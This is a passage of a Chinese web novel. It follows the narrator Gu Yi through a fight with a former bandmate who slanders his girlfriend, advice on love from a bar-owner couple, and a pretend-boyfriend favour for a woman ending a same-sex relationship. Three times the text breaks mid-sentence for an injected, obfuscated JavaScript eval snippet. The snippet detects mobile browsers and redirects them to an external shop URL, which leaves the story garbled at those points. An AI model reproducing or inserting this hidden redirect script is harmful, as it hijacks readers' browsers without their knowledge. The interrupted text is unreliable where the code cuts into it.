宗斌继续滔滔不绝地说着,仿佛要把这些日子乐队的经历一股脑儿地都倒给我,我只是静静地听着,偶尔回应一下,思绪却早已飘远。 顺着他的意,我回道:“有你这个主心骨在,乐队凝聚力就是强,散不了,我就一不起眼的存在。” “顾懿!” 宗斌声音突然变得有些撕裂,他也没有继续那套流于表面的问候,酝酿半晌,满嘴酒气地斥责道:“顾懿,华子,还有陈佳也在,你特么的为了个女人,置整个乐队都不管不顾?没有咱们这个乐队,你有机会认识相黎吗?” 听了这话,心里顿时一股怒火涌起,我质问道:“你这话说得不对吧?当初是你一直在队内阴阳怪气,不然我和相黎能离队?我大学里最多的心血都放在乐队上了,赶上排练的时候,我翘了多少节课?我花了多少 精力在宣传乐队上?宗斌,是你,你把乐队当成了个人的小团体!华子也,华子你说,就当时队内紧张的气氛,我还有待下去的必要吗?” 我的声音也不自觉地提高了,眼神直直地盯着宗斌。 华子在一旁有些尴尬,一副欲言又止的样子;陈佳则是一脸惊讶地看着我们,显然没想到气氛会突然变得这么紧张。 我继续说道:“宗斌,你不要总是把责任推到别人身上,你自己好好想想你做的那些事!” 此时的我,心中满是对过去那些不愉快经历的愤慨,那些被压抑的情绪一下子就都爆发了出来。 今天晚上,本就憋了一肚子的怨气,又碰上宗斌这么个冠冕堂皇的玩意儿,但想到相黎在等我送相机过去,我抑制住心中愤怒的火苗,说道:“算了,都过去了,就当我没进过乐队……” 我没打算与宗斌争论,便头也不回地朝酒馆的方向走去。 在他观念里自己就是世界的中心,他瞧不上除自己以外的任何人,在他的眼里,其他人都是陪衬,来衬托他,帮助他证明自我的甲乙丙丁。 我实在不想再与他多做纠缠,也不想再去争辩什么,与这样的人争论是毫无意义的,他永远不会真正反思自己的问题,只会一味地坚持自己那所谓的“正确”。 尚未走远,宗斌对我的埋怨声在耳后依旧没停,接着我隐约听到他对相黎的指指点点。 “当初真不该邀那个相黎入队,分明就是被校外大款包养的小贱人,在咱们这儿装矜持,也就把顾懿这个傻缺唬得一愣一愣的!” 那个叫陈佳的女生也附和道:“四年里我就没见她住过校,一有时间就往校外跑,我好几次见过她被男人开车送到学校,其中缘由不言而喻。” “说得不错,华子你也还记得吧,我们也碰到过一回。” 宗斌趁着酒劲,话都说不清楚,依然没忘记添柴加火。 难怪觉得陈佳有些面熟却又想不起来在什么地方见过,她便是当初在班级里造谣相黎的同班同学! 听到这里,我牙齿咬得“格格”作响,今晚原本被压制住的怒气,一下子从脚底下直冲到头顶,心头那团明火再也按捺不住。我立马调转回头,飞奔至宗斌身后果断就是一脚猛踹,怒视着他们说道:“你们胡说八道什么!你们根本不了解相黎,凭什么这样污蔑她!” 我的声音因愤怒而颤抖! 人和动物的区别就在于,人可以对其他同类进行议论和诋毁,这在动物的世界里是绝无仅有的。人拥有其他动物所没有的高级思维,但同样也衍生出了动物所没有的邪恶。 在背后对我说三道四,我忍了;对相黎不明真相就妄加猜测、恶意中伤的小人行为,我是忍受不了一点!他们仅凭一些无端的猜测和片面的表象就如此肆无忌惮地污蔑一个人,何其卑鄙!我势必要他们为自己的言行付出代价! 宗斌没有防备,被我一脚踹翻在地,他双手撑着地爬了起来,样子变得十分狰狞,撅着嘴唇,眼睛里燃烧着怒火,鬓角若隐若现地有一条青筋轻轻跳动,像是一匹被逼急的野兽,准备进行猛烈的反攻。 他站起身,拍了拍身上的灰尘,轻蔑道:“哦哟,急了?今晚也没见相黎和你一起,说不定现在正s圣诞小麋鹿,戴着项圈在主人面前摇尾乞怜呢?” “我摇你妈!” 战火一触即发,我握紧拳头正准备上去揍扁这孙子,华子和陈佳见状,立即上来劝架。二人横在我和宗斌之间,极力地推开我们二人,避免矛盾进一步升级。可是,这支离弦的箭已经没有回头路,我已经做好大干一场的准备了,宗斌挨了一脚,也是极其愤怒。 “放开!” 宗斌一把推开阻拦他的陈佳,抡起拳头就往我这儿冲,而我这边有华子在拉扯着,很大程度上阻碍了我的动作施展,所以我脸上就直接挨了宗斌一记重拳。 华子拉偏架的行为让我异常恼火,我奋力挣脱华子的束缚,没曾想挣断了相机的挂带,相机镜头直接朝着冷冰冰的水泥地面摔了下去,我的心也随之一紧。 无暇查看相机的情况,我带着这段时间所有的不悦,瞬间和宗斌这个畜生扭打在了一起,也不管是我揍了他一拳,还是挨了他一脚,此刻的我只想要把这积蓄已久的坏情绪宣泄出来,每一拳每一脚都带着我的愤怒和不甘。 华子在一旁手足无措,陈佳慌乱之中叫出了声,引来四周不少人的驻足围观,但我已经顾不上这些,我只想在这场混乱中释放自己内心的压抑。周围的一切仿佛都变得模糊起来,只有我和宗斌扭打的身影在眼前晃动。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039903|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们快住手,我好像听见有人报警了,都是老朋友,事情闹大了不好收场!” 华子冲到我们中间,混乱中也挨了几记拳脚,厉声吼道:“顾懿!宗斌!马上快毕业了,因为这事儿导致受处分毕不了业对谁都没好处!” 陈佳见势立即上来把宗斌拽到了一边,华子将我拉至另一边,轻声劝解道:“懿哥,你也知道,他就这么个人,嘴上一直没个把门儿的,你就当个屁放了,别和他一般见识。” “他这叫嘴没把门儿?纯畜生一个,华子,你怎么就愿意和 这么个逼人处一块儿?”我余怒未消地质问着。 “别说了,他待我还是挺不错的……” 华子语气听起来有点心酸,他这意思我也明白,宗斌手上阔绰,平时请这儿请那儿的,吃喝玩乐都不用别人掏钱。反正我是不愿意看人家脸色,求人家带我一起玩,我更看重的是真诚,而不是建立在金钱和利益上的虚假关系,宗斌的这种行为在我看来是如此的肤浅和市侩。 我舔了舔嘴唇,吐了一口带血的唾沫。华子捡起摔在地上的相机递给了我,我的心顿时凉了半截。 看着相机镜头上那一道明显的裂纹,心情一下子沉重到了极点,相黎拍照的计划显然是要泡汤了。维修的话也不知道要花多少钱,她这款相机多半是价值不菲,这无疑给我本就不富裕的生活又增添了一笔负担。 我拿着相机,手有些微微颤抖,相机镜头上那道裂纹仿佛正无情地嘲笑着我的落魄。一想到相黎满心期待的样子,我更是觉得愧疚难安。 …… 一番激烈动作过后,在回酒馆的路上,出汗的皮肤被寒风侵袭着,头脑中迷茫的云雾顷刻间消散,滚烫的额头重新又凉了下来,我才感到之前冲动的情绪充满了危险。 带着损坏了的相机回到了酒馆,相黎和宁致已经重新回到了高炜一桌,云舒那儿却多了个女人,竟然是之前在酒馆门口与我相撞的那个冷漠女人。 “天冷路滑,不小心摔了一跤,来晚了。” 我故作镇定地说道,试图掩盖刚刚发生的冲突。 众人见到我的狼狈模样,十分吃惊。 “怎么摔的?还能把脸摔得青一块儿紫一块儿的,嘴唇也破了。” 相黎站起来,凑近我的脸,手托着我的下巴左右拨弄观察了半天。 “嘴唇破了倒没关系,相机镜头也破了,怎么修?我回去想办法。”我把相机递给了她,投以歉意的目光。 相黎接过看了一眼,注意力根本没放在相机上,只轻描淡写地说了句:“不用修,uv镜碎了而已,换一个就好了,你这儿究竟咋回事?” 一直一言不发的虞寒艳突然提了一嘴:“刚才听人说外面有人打架,不是你吧,顾懿?” 她的话语打破了短暂的平静。 话音刚落,几人目光齐刷刷地看向我,期待着我的回话。我感觉喉咙有些发紧,不知道该如何回答,他们的目光像是一道道审视的光,让我有些不自在。 “是我……” 高炜差点激动地跳了起来,叫道:“懿哥,碰到事儿怎么不通知兄弟一声,我和宁致都在这,一个电话,咱仨儿一起去弄他!” 宁致听闻,笑而不语,耐人寻味。 这哥们儿能给我平事儿就怪了,不过在他面前这么狼狈真是不好受,我这不堪落魄的样子和他的温柔绅士比起,瞬间高下立判。 “已经没事了,该吃吃该喝喝。” “到底怎么回事?!” 相黎和虞寒艳异口同声问我事情经过,我有些不耐烦,随即开了瓶啤酒,灌了下去,回怼道:“够烦的了,都说没事了!能不能别问?” 她们俩便沉默了下来,没再追问,眼神若有所思。 此时的气氛变得有些凝重,我意识到自己的态度可能有些过激,但下意识还是没收住自己糟糕的情绪。 就这样,我们几人陷入了一种微妙的沉默之中,各自想着心事,而我则继续喝着啤酒,试图用酒精来麻醉自己的烦恼。 钟璇愤愤不平道:“大家都是关心你,你跟我们摆什么谱,谁惹你你跟谁横去!” 相黎端详着相机,冷静地安排着接下来的事情,叹了口气道:“瞧这架势,相机派不上用场啦,时间也不早了,回去晚宿管阿姨要关门了,我晚上没喝酒,我开车送你们回去吧。” 众人对视一眼,纷纷表示赞同,起身便要回去。大家似乎都急于结束这场有些不愉快的聚会,每个人的脸上都带着些许疲惫和无奈。 我坐着不动,高炜看着几人不满我的态度,问道:“懿哥怎么办?” “不用管他!”相黎语气决绝,似乎也是对我刚才糟糕的态度心有不满。 “炜哥,我还有点工作要处理,你们先回去,人多了车也坐不下,查寝的话就说我洗澡去了,随机应变。” 第14章 感情里的怯懦者 他们几人离去之后,我的世界瞬间冷场,清净了许多。晚场的酒馆也没剩多少客人,而云舒和那个冷漠女人依旧留在卡座。 看她们二人年纪相仿,不知是姐妹还是朋友,不过从二人目前交谈的状态来看,关系似乎并不融洽,因为云舒面对冷漠女人的时候表现得有些不耐烦,云舒的表情和肢体语言都透露出对那个冷漠女人的不满,而女人却并未在意云舒的态度,依旧我行我素地与她交流着。 这两人之间的微妙气氛让人不禁好奇她们之间究竟有着怎样的故事和纠葛。 …… 店里没有什么客人需要招呼的缘故,我和宇哥闲在一角攀谈着。聊起我的狼狈样,我向宇哥倾诉着事情的来龙去脉,也提及在大学里与相黎的交往过程。 宇哥掏出烟盒点了一支烟,将烟盒和火机放在桌上,这烟依旧是昨晚我给他的那包徽商。郁闷之下,我顺来烟盒跟着点了一根,这也是这包烟的最后一支。 望着空烟盒,我回忆着自己的大学四年以及最近的窘境,猛吸一口烟,想将自己的这些日子的无奈与不甘伴着那丝烟雾吐出来,想透过烟雾,一眼看穿那荒诞的青春,可是太模糊了,我只能看见消失殆尽的热情,全都被揉碎后一起飘散在这股烟草浓雾里面。 “在想什么?”宇哥掸了掸烟灰,问道。 “烟抽完了,这烟盒留着还有什么用?扔进垃圾桶后,最后又会落得个什么样悲催的结局?” “啧,又在这悲天悯人了……其实也没啥好忧虑的,你还年轻路还长……毕业季嘛,难免会想得多一点,对未知事物产生恐惧是人的本性,以前我也有你现在这段迷茫期,大学里和彤彤吃喝玩乐、打打闹闹觉得没啥,可离开校园就要作为一个真正的男人为她遮风挡雨。换个角度想想,对你来说是好事,因为你意识到责任和压力了,这是爱情迈向成熟的必经之路!” 宇哥有所不知,我没有他家那么殷实的家境,也没有一个幸福圆满的原生家庭作为支撑。在我身上,似乎找不到可以拿出来比较的优势点…… “宇哥,你和彤姐恋爱的时候,有没有想过,如果彤姐的未来与你无关,你会怎么办?” “对啊,你会怎么办?” 一声清脆空灵的疑问响起,彤姐走了过来,倚靠在宇哥身边。 宇哥一改过来人的老练态度,瞬间风趣起来,说道:“我会二话不说选择去少林寺遁入空门!” 我们三人对视一笑,气氛立刻轻松不少。 彤姐明显一副根本不相信的样子。宇哥双手合十,态度极其虔诚,道:“阿弥陀佛,出家人不打诳语!” 彤姐点到即止,没有追问下去,而是转换对象,对我说道:“你们刚才说的我也听到了,顾懿你是怎么想的呢?如果,我是说如果啊,你和女朋友最后各奔东西了,你会怎么办?” “没有她,日子不还是得过,地球难道少个人就不转了?” 我心里有些发虚,尽量想在外人面前装得强硬一点,但还是掩不住落寞。 “转!当然会转!我来替你想象一下,只是没有她的世界里,闻到的花不香,就连入喉的烈酒也尝不出辛辣,所有唱的歌都不再有意义,就连挤到嘴边的话也不想说给旁人听,因为少了一个分享生命光芒的人……没有那个人,地球照旧转动,但是你保持静止……” 彤姐认真地说着,她的话语如同一根根细针,刺痛着我的心。我静静地听着,脑海中不由得浮现出没有她之后的那些场景,那里似乎真的会是一片荒漠,我意识到自己刚才的回答是多么的自欺欺人。 “或许是这样吧……” “或许……是这样……吧?你不是很爱她吗?” “到底怎样才算爱,怎样又算不爱呢?我爱她,只要她一句话,让我做什么我都愿意,可是有什么用呢,我现在觉得自己越来越卑微,越来越无可适从……” 愿意为对方任何事情似乎在当下已经不是爱一个人的资本。就像有人告诉过我,不抽烟不喝酒不赌博不纹身并不是什么大不了的,只是做人的基本原则;又好比房地产商整天营销他们楼盘如何宜居,可这住宅不宜居该怎么住人?宜居应该是基本原则,而不是用来鼓吹的;做餐饮的天天鼓吹食材用的什么原材料,多么营养,多么干净卫生。 可这些本就是应该做的,有什么好拿来说的? 就如此时此刻,我连说爱她,都没有东西能够证明。 宇哥招呼服务员送来了一杯我以前常点的长岛冰茶,说道:“傻小子,有什么心事一股脑地全都在圣诞夜说出来,明天还是那个洒脱不羁的帅小伙!” “就是,在我们这不用扭扭捏捏,还担心我们把你的小秘密大告天下呀?” “顾懿,你要明白,如果你在恋爱的过程中把什么都计算得特别清楚,那这个爱情的萌芽就会被收拢在一些特别格式化的范围里了。虽然可能在大多数人看来,爱情就是要有很多附加项,可如果你真的去爱了,不可避免地是会有一些义务和很多程序化的事,到了什么节点,就要做什么事,这些东西有时候是会对爱情有很大杀伤力的。”彤姐语重心长地开解道。 一旁的宇哥续了支烟,把烟盒和打火机放在我面前的桌上,意思是我想抽就拿。 彤姐出乎意料地抽走了宇哥叼在嘴上的烟,晃了晃手里的烟,向我展示道:“就比如,现在我们被家里催得紧,到了备孕阶段,阿宇烟酒就要少沾,不是我反对他抽烟,这是我们俩爱情必须面对的一个阶段,需要两个人一起承担……你在恋爱还没修成正果的时候就想着和对方一定要走到最后,忧心忡忡地去考虑婚姻阶段该忧虑的事情……你看我和阿宇,爱情是我和阿宇两个人的爱情,婚姻却是两个家族的婚姻,在恋爱阶段就看到婚姻的窘况是很不好受的,为什么说婚姻是爱情的坟墓,婚姻要照顾到很多人的想法,不再是你们两个人的了,你就是想得太多了……” 我点了点头,陷入沉思,目前似乎是这个情况。 宇哥接过话补充道:“顾懿,恋爱的时候就放开了去爱,别去担心这儿担心那儿的,爱得太少想得太多,很容易让一段美好的爱情还没到火候就不了了之了……我猜你这些天肯定在想,她的父母是做什么的?双方家庭是不是门当户对? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039904|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕业后会不会拿到一份体面有前途的工作?踏入社会后双方会不会因为价值观的不同而各奔东西?别想了!大胆热烈地去爱吧!退一万步说,即使最终的结局不尽如人意,但是,那又怎么样呢?爱情的结是解不完的,恰如人生的问题也是解不完的,你不能不去解啊!最遗憾的不是失败退场,而是你本可以……” 眼前这对年轻小夫妻轻而易举就洞穿了我的心思,并用过来人的经历为我解答了很多疑惑。 过去的这一年,我一直在纠结毕业后要应对的各种情形,而忽视了我和相黎恋爱的本质——感情缺口上的互补。如果把这段感情加了太多的附加项,比如外貌、学识,才华,人品,再说得物质一些,双方的经济实力,原生家庭、职位前途什么的都要考虑是否匹配的话,爱情是不是就变成了一场赤裸裸的交易?这些本是爱情的加分项,而不是必须项。 如果用这种局限的眼光去看待爱情的话,不光是爱情,任何关系,哪怕是父母与儿女的关系,考虑到养儿防老一说,与父母的亲情都是一种交易,一种资源的互补。 那么,所有纯粹的情感不都被缚上了一层枷锁? 这些美好的东西难道都要在杞人忧天的枷锁之下不继续了吗?显然不是。 爱情是两个人的电影,不是一个人的独角戏;爱是一个人的事情,而爱情一定是两个人的事情。 想到这里,我拾起桌上那略显寂寞的香烟,点燃了。我迫不及待地猛抽了一口,辛辣的气息瞬间在口腔中弥漫开来,随后化作一团白色的烟雾从我口中喷涌而出。那袅袅上升的烟气,仿佛具有某种神奇的魔力,缭绕在我脑海中的那团如迷雾般的思绪,也随着我呼出来的这股烟气一起,渐渐地消散殆尽。 怎么能因为一个人的懦弱,就在这段感情里如此草率地单方面选择投降呢?这对相黎来说,是多么不公平的一件事啊。 我不能让自己的怯懦成为这段感情的终结者,我必须要勇敢起来,去面对一切,去为我们的感情努力拼搏。我会尽自己最大所能去运营这段感情,除非有一天,相黎亲口对我说放弃,那才是我们爱情剧终的最后通牒。 “我懂了,宇哥、彤姐,真心羡慕你们的爱情!” 彤姐满目温柔,一副孺子可教的欣慰感溢于言表,好似从我和相黎的身上看到了他们当初热恋时的迷茫和解脱。 宇哥神情截然相反,玩笑般地轻叹一口气,说道:“顾懿,我要是你就不会有这些没必要的烦恼,你打开微信看看,有没有人加你好友?” “还真有!怎么个事儿?” 宇哥意味深长地笑了笑,目光看向云舒那个位置,解释道:“你晚上出门那么一会儿,那桌的妹子问我要你的微信,我见你们晚上聊得挺投机,顺势就给她了……” 彤姐听闻眉头微皱,告诫道:“顾懿,情感上的问题,姐可以帮你,可你要是一颗花心大萝卜,姐打心底瞧不起你!你身边围绕的女孩儿不少,度一定要把握好了,知道吗?如果你有别的花花肠子,大可以把我说过的话当耳旁风……” “不会的,彤姐的话我一定谨记在心。” 第15章 假装情侣 我同意了云舒的好友申请,我和云舒只是萍水相逢的朋友,但并不是彤姐担心的那样。因为一些共通的经历以及相遇在这个特殊的地点,我和云舒也许能说上几句话,往后恐怕连见面的机会也不会再有。 微信好友刚通过,转瞬就收到了云舒发的消息。 “故意,可以过来帮我个忙吗?” “是顾懿!” “好,顾懿。坐我边上来,装一下我男朋友……拜托拜托!” “?” 面对云舒微信上突如其来的求助,我的cpu高速运转,差点短路,只好用“?”表达我的茫然失措。 “家里催婚?用我做挡箭牌,不至于吧……” 她接连轰炸一般地发了好几条消息,根本不给我拒绝的机会。 “别磨叽,到底行不行?” “快过来,不会让你的小女朋友知道的!记住,你什么话都不用说,我说什么是什么,配合我就行,完事给你冲业绩哈!” 云舒在微信上交代了简短的几句话,不等我答应,便见她朝我大声呼喊道:“懿哥,忙完了没,急死人啦!” 与她呼喊声一起的,还有她对面那个冷漠女人的异样目光,愤怒、仇恨、鄙视、蔑视,给我一种如芒在背的感觉。 这种眼神很熟悉,晚间我看宁致是不是也这样?这种感觉是藏不住的,没想到原来这么明显。 我、宇哥和彤姐对视一眼,在他们夫妻错愕的目光中,我留下一句“江湖救急”便匆匆赶往云舒身旁。 “催什么催,你一晚上倒是自在,我不要工作的?”我的一句抱怨,却也是此时内心的真实想法。 云舒好像没听见我的抱怨。拉着我的衣袖,一把将我拽到了她身边坐下,说道:“懿哥,这位就是经常和你提起的嵇晓,我在上海最好的朋友!” 这种初次见面的介绍话术,今晚我不止一次地听过,我有些排斥,因为这不可避免地又让我记起了那个叫宁致的男人,不知道此刻他在哪里,是不是在和相黎在一起? 我的心思完全游离在外,整个人处于一种心不在焉的状态,以至于一旁的云舒不得不伸出小腿撞了我一下。这突如其来的一撞,让我瞬间从思绪的漩涡中挣脱出来,我立刻回过神来,然后对着嵇晓礼貌性地报以一个淡淡的微笑。 然而,云舒并不知道的是,其实今晚我和嵇晓已经见过面了,只是那初见的画面极其短暂,而且还不怎么和谐,就像是一场小小的闹剧。 现在这个冷漠女人正静静地端坐在我的对面,才让我有机会看清楚她真正的样子。 她的年纪看起来比云舒大上几岁,顶着一头有明显打理痕迹的中性短发,发色灰白相间,白皙冷峻的面庞一如她锋利果断的做派。 嵇晓半信半疑地上下打量着我,说道:“跟我在一起这么久,这时候凭空跳出个男朋友,不着调!” “晓,懿哥和我谈了四五年了,是我瞒了你,对不起……请你尊重我的生活好吗?每个人都有自己的选择,懿哥就是我的选择……” “你以为我会信?” “等他工作稳定我们就结婚。” 对面的嵇晓此时明显已经焦躁得坐不住了,她的身体微微扭动着,似乎在极力克制着某种情绪。随后,她毫不客气地拿起桌上云舒的烟,动作略显粗鲁地抽出一支,接着用打火机点燃。那火苗跳跃着,映照在她略显阴沉的脸上。 点燃香烟后,她深吸一口,然后缓缓吐出一团烟雾。在这支烟慢慢燃烧直至抽完的这段时间里,嵇晓就那样静静地坐着,双唇紧闭,一个字也没有再说,仿佛周围的一切都与她无关,她沉浸在自己的思绪与那缭绕的烟雾之中,空气仿佛也在这一刻凝固,弥漫着一种压抑而沉闷的氛围。 气氛显得有些焦灼,不明白她们之间发生了什么,我说什么话可能都会适得其反,于是我选择沉默。沉默间,面前弥漫着的全是嵇晓吐出的烟雾,空气变得朦胧,我尝试着准备也点一支缓解当前尴尬的局面。 见我触碰了云舒的烟盒,嵇晓忽然反应强烈,迅速夺过了云舒的烟,机关枪似的斥问道:“好,男朋友……男朋友!你知道云舒是什么时候开始学会抽烟的吗?不知道吧!你知道云舒为了赚点钱接了多少份工作?不知道吧!你知道云舒每次黯然神伤的时候,是谁陪在她的身边吗?不知道吧!你知道生活多少次把她逼到了悬崖边?不知道吧!男朋友?呵呵……” 嵇晓的连番追问让我无所适从,就好像此刻我真是作为云舒的男友,对她难处的关怀显得如此苍白无力…… 云舒长舒了一口气,握住了我的手,十指相扣交叉在一起,可以清晰感受到她手心的没有一丝温度,她柔声辩驳道:“没有办法的啊。懿哥还没毕业,做不到无时无刻守护在我身边,快了,等他毕业之后我们就能彻底结束这段异地恋,到时候懿哥就能一直陪在我身边了……” 说完,云舒歪过头,依偎在我的肩膀上,只知道她将我的手握得越来越紧,紧到她冰冷的手心都出了汗。 “所以,这就是你的答案……是这样吗?”嵇晓似乎一下子泄了气,就像断了线的风筝,失去了线的指引,任 由风吹,无论怎样旋转、怎样挣扎,始终无法找到那个曾经熟悉的牵引,就这样被困在了时间的断层中,无法前进,也无法后退。 我好像有一点明白她们之间的微妙关系了,但是不能笃定。 云舒神色自若,没有回答嵇晓,而是招呼我道:“懿哥,忙完了吗?收拾收拾咱们回去休息了……” 答非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039905|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所问便是已经回答,无需再问。 “再等会儿吧,今天圣诞节,宇哥店里还需要照应。” “好,我等你!” 云舒松开我的手,笑颜如花,可我分明看出了她笑容之下掩饰的挣扎。她注意力很快转移到手机上去了,手指不停地滑动着屏幕,在各类app间穿梭着,没个固定。 嵇晓没再看过我一眼,向后仰靠在卡座的沙发上,自顾自地不停抽着烟,烟雾在她纤细苍白的手指间游走,看着她嘴里断断续续吐出的烟雾,仿佛就看到了她内心的矛盾与挣扎。 烟是短暂的,所有销魂的东西,都是短暂的。听说香烟中的尼古丁可以暂时给人一种迷幻的感觉,当烟雾散去,便会将人无情地拉回现实,实质上并没有什么改变。 …… 许久过后,一包烟快被她一个人抽完了,她才整理好思绪,站起身要走,缓缓吐出一句话:“我知道了……” 云舒终是有些动容,熄灭手机屏幕,抬起头道:“晓,对不起……不奢望你能原谅我,对不起……我很幸运遇见过会过你这么好的人,以后……算了,以后怎么样已经不重要了,各自安好吧……” 嵇晓背过身,双手握拳,凝声道:“别说对不起,我要你跟我一样痛苦!” 或许是看不到对方正脸的缘故,表情管理一晚上都很好的云舒终于忍不住了,她嘴唇微微颤抖,打开烟盒,用大拇指和食指夹出烟盒中仅剩的一支烟,轻轻敲了敲烟嘴,点上了火,猛吸一口,将一晚上压抑在胸腔中的愁绪伴着那丝烟雾吐了出来。 嵇晓头也不回地潇洒离去,就像今晚急匆匆地赶往这里一样,如此的果断决绝,仿佛这里的一切与她无关,她自始至终的目标只有云舒一个人。 “她走了……”我轻声试探道。 “嗯,走了……” “你没事吧?” “我会有什么事?说过你帮我个忙,我帮你冲业绩,快多点几瓶酒过来,说好了哦,我喝不完你可是要帮我分担点哦 !” “不用了,喝瓶百威够了,有心事喝酒是解决不了的,早点回去洗澡睡一觉,比什么都管用。” 云舒眼神呆呆地望着空烟盒,摇了摇头苦笑道:“顾懿,没烟了,可以帮我去前台拿包烟吗?” “要什么烟?我去拿。” “细的就行,什么牌子无所谓,快去快去!” 应她的要求,我在前台和宇哥说明情况之后,拿了一包炫赫门。 拿包烟这一小会儿工夫,等再回到云舒的卡座旁,云舒已经泪眼婆娑,一连串泪水从她悲伤的脸上无声地流下来,没有一点儿的哭声,只任凭眼泪不停地往下流。 看着她那双流泪的眼睛,我发觉自己也有一颗跟着生锈的心…… 第16章 活着的意义 “喏,你看这烟行吗?不喜欢的话我去换。” 云舒没有拒绝,收下烟也没有抽,依旧保持着她那梨花带雨的模样。 这几年里,她是第二个在我面前哭的女人,我不知道她为什么哭泣,就如我不知道相黎每一次是为了什么掉眼泪。我从不会去问相黎缘由,她也从来不说。 “要不抽一支吧,也许会舒服一些……” “不抽,拿个烟这么慢,抽烟的欲望没了。”她重新抖擞精神,又变成了一开始谈笑风生的样子。 接着她突然问道:“顾懿,你是不是看我特像一烟酒都来的精神小妹?” “不够精神,哪有精神小妹是爱哭包的,精神老妹儿还差不多……” 云舒讪笑,看着未开封的香烟长舒了一口气,有点自嘲地说道:“我小时候生过病,从小到大就要杜绝一些不健康的生活习惯,不可以抽烟,更不可以喝酒……嵇晓总以为是我学会了抽烟喝酒,其实不是,我只是在她面前陪她一起,她就是一个被偏爱过度,还没长大的孩子,尽管她的年纪比我大好几岁……” 我越发觉得云舒和嵇晓的关系非同寻常,有点超越了平常友谊的范畴,我问:“大胆地问一句,你和她是什么关系?闺蜜吗?” 其实我心里已经猜了个八九不离十,因为爱和友情之间存在一个重要的不同之处。前者欢愉在极端和对立之中,后者需要的则是平等;爱带给人极致的快乐和悲伤,而友情则显得平淡,更加细水长流。 她们显然属于前者。 云舒在我面前,充满痛苦,快乐地笑了。 “她,是照进我黑暗世界里的一束光,没有她的话,在这物欲横流的世界里我一个人真的坚持不下去了,她可以过得无所顾忌,可我不行,我知道这段关系的命门,我们永远不会失去彼此,因为我们从未真正拥有过彼此,却又永远拥有着独一无二的彼此……” 接着她又说道:“我想,她不知道我真的很喜欢、很依赖她,也想和她有很长的未来,很想把所有好东西都给她,很想肆无忌惮地去爱,很想每天和她在一起,很想每天都有她大大的拥抱……可我又知道,只能想想罢了……” 我问:“为什么不告诉她呢?” “我和她不合适,缘起缘灭不是我们两个人可以决定的,不是所有美丽的花朵最后都会结出果实……” 她带着自嘲,傻笑着:“书没读好,喜欢的人也没在一起,也没活成自己想要的样子……” 是啊,不是所有的花都会结果。 云舒单方面地选择出局,或许是出于理性和现实考究,对于嵇晓来说都是一种不可言说的痛苦。我之前的行为何尝不是一种单方面的放弃,只不过没有云舒这么直接、果断,但对相黎来说同样也是一种伤害,只是相黎并没有把我们彼此内心的痛苦架在明面上烘烤。 云舒突然问我:“顾懿,你觉得活着的意义是什么?” 我想了想,其实我也不知道活着的意义是什么,这是哲学家应该思考的问题,于是我给了她一个很笼统的回答:“将热爱的人和事物留在身边 这便是我活着的意义。” 说出这个自认为有点哲学味道的答案,忽然觉得好迷茫,就像刚接触唐诗三百首的孩童,把唐诗背得滚瓜烂熟,得到大人的赞扬,但自己对诗词的意思却不能理解。 我摇摇头,无奈地叹了口气:“这个话题太大了,大到我常常思考,却也没得到过满意的答案,现在的我,想要房子,车子,想要旅行,想要高品质生活……明明两袖清风却想窥觑整个世界,明明那么浮躁却想看透生活……一次次吹响了前进的号角,却总是倒在,发起了一次次冲锋,却没有找到敌人,无疾而终……” “你已经很不错了,至少比我强太多了,你现在无非是急迫地想用很多物质的东西向世界证明自己,车子、房子总会有的。你看,像我这么失败的人,没学历、没背景在上海不也没饿死吗?将来,你一定会在自己的领域发光发热的,人生最重要的就是要找到自己的那条赛道。” 思索间,我忽然记起《死亡诗社》这部电影,我用电影中的一句经典台词借花献佛说与云舒:“诗歌、美丽、浪漫、爱情,这些才是我们活着的意义。” 一切美好的东西,就是活着的意义。不管在哪条赛道,都会有这条赛道与众不同的风景,考上清华北大固然美丽,可是烤地瓜难得就不值得歌颂吗? 我和云舒相视笑着,像两个苦于辩驳、但无法掷地有声的小丑,一下子找到了自己的归宿。 …… “时间也不早了,我要走了,以后我不会再碰烟酒,这包炫赫门就当是纪念,送你了。” 云舒的妆容有点花了,脸上有着明显的泪痕,她打开随身的粉白色斜挎包包,象征性地补了个妆,忽然瞄了我一眼,说道:“你女朋友来了,我走啦,今晚很高兴遇见你们,有缘再会!” 云舒到前台扫码结了账,相黎正在前台和彤姐攀谈,她们简单打了招呼后,云舒就消失在了我的视线里。 可能相黎已经来了有一会儿,只是我背靠着吧台的方位,没有发现身后的情况。 我没起身,相 